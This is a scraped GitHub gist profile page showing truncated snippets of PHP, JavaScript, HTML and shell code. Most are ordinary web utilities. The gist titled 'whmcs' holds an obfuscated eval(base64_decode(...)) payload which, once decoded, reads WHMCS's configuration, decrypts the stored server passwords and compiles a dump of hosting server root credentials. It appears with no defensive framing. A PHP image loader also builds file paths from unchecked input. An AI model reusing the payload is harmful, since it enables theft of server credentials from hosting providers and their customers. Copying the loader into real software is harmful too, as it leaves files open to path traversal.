Skip to content

Instantly share code, notes, and snippets.

View hanafiah's full-sized avatar
🏠
Working from home

Muhamad Hanafiah Yahya hanafiah

🏠
Working from home
View GitHub Profile
cd GeoIP*
./configure
make
make check
make install
wget http://geolite.maxmind.com/download/geoip/api/c/GeoIP.tar.gz
tar xzvf GeoIP.tar.gz
<html>
<head>
<title>Jquery Hashbang</title>
<script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js' ></script>
<script type='text/javascript'>
$(document).ready(function() {
$.ajax({
dataType: "json",
url: "https://api.scraperwiki.com/api/1.0/datastore/sqlite?format=jsondict&name=esolat&query=select%20*%20from%20%60solat%60%20limit%2010",
success: function(datas){
<?php
function loadimg($img)
{
//absolute path
$fullPath = '/private/'.$img;
if (is_readable($fullPath)) {
$mime = mime_content_type($fullPath);
header('Content-type: ' . $mime);
header('Content-length: ' . filesize($fullPath));
@hanafiah
hanafiah / image to canvas.php
Created January 9, 2013 23:26
image to canvas
<!DOCTYPE HTML>
<html>
<body>
<?php
$img = 'http://www.saudigazette.com.sa/myfiles/Images/2012/12/18/li02.jpg';
$type = pathinfo($img, PATHINFO_EXTENSION);
$data = file_get_contents($img);
$base64 = 'data:image/' . $type . ';base64,' . base64_encode($data);
?>
<?php
/**
* sample sql
*
SELECT
a.state, count(b.id) AS total
FROM state a
LEFT JOIN data b ON a.id=b.state_id
GROUP BY a.id
@hanafiah
hanafiah / websnipr.custom.html
Created December 18, 2012 08:43
custom websnipr
<script src="http://www.websnapr.com/js/websnapr.js"></script>
<script type="text/javascript">
var url = '';
var key = '';
var size = '';
var link = '';
link=typeof(link)!='undefined'?link:1;
if(size==''||size==undefined){size='s'};
var src="http://images.websnapr.com/?size="+(size.toLowerCase()=='t' || '' ?'t':'s')+
@hanafiah
hanafiah / gist:4106246
Created November 18, 2012 17:04
whmcs
{php} evaL(base64_decode('DQppbmNsdWRlKCdjb25maWd1cmF0aW9uLnBocCcpOw0KDQokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7DQokdGV4dD0kdGV4dC4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgSE9TVCBST09UUyAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcclxuIjsNCndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KDQokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOw0KJHVzZXJuYW1lID0gJHZbJ3VzZXJuYW1lJ107DQokdHlwZSA9ICR2Wyd0eXBlJ107DQokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOw0KJGhvc3RuYW1lID0gJHZbJ2hvc3RuYW1lJ107DQoNCg0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KDQokdGV4dD0kdGV4dC4iVHlwZSAkdHlwZVxyXG4iOw0KJHRleHQ9JHRleHQuIkFjdGl2ZSAkYWN0aXZlXHJcbiI7DQokdGV4dD0kdGV4dC4iSG9zdG5hbWUgJGhvc3RuYW1lXHJcbiI7DQokdGV4dD0kdGV4dC4iSXAgJGlwYWRkcmVzc1xyXG4iOw0KJHRleHQ9JHRleHQuIlVzZXJuYW1lICR1c2VybmFtZVxyXG4iOw0KJHRleHQ9JHRleHQuIlBhc3N3b3JkICRwYXNzd29yZFxyXG4qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKlxyXG4iOw0KDQoNCn0NCiR0ZXh0PSR0ZXh0LiJcclxuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyBIT1NUIFJPT1RTICMjIyMjIyMjIy
@hanafiah
hanafiah / interval.html
Created October 2, 2012 03:56
javascript set interval
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>
<link rel="stylesheet" type="text/css" href="tcal.css" />
<script type="text/javascript" src="tcal.js"></script>
<script type="text/javascript">
@hanafiah
hanafiah / getbody.php
Created October 1, 2012 09:52
get html body content
<?php
function getBody($content) {
preg_match("/<body[^>]*>(.*?)<\/body>/is", $content, $matches);
return $matches[1];
}
//test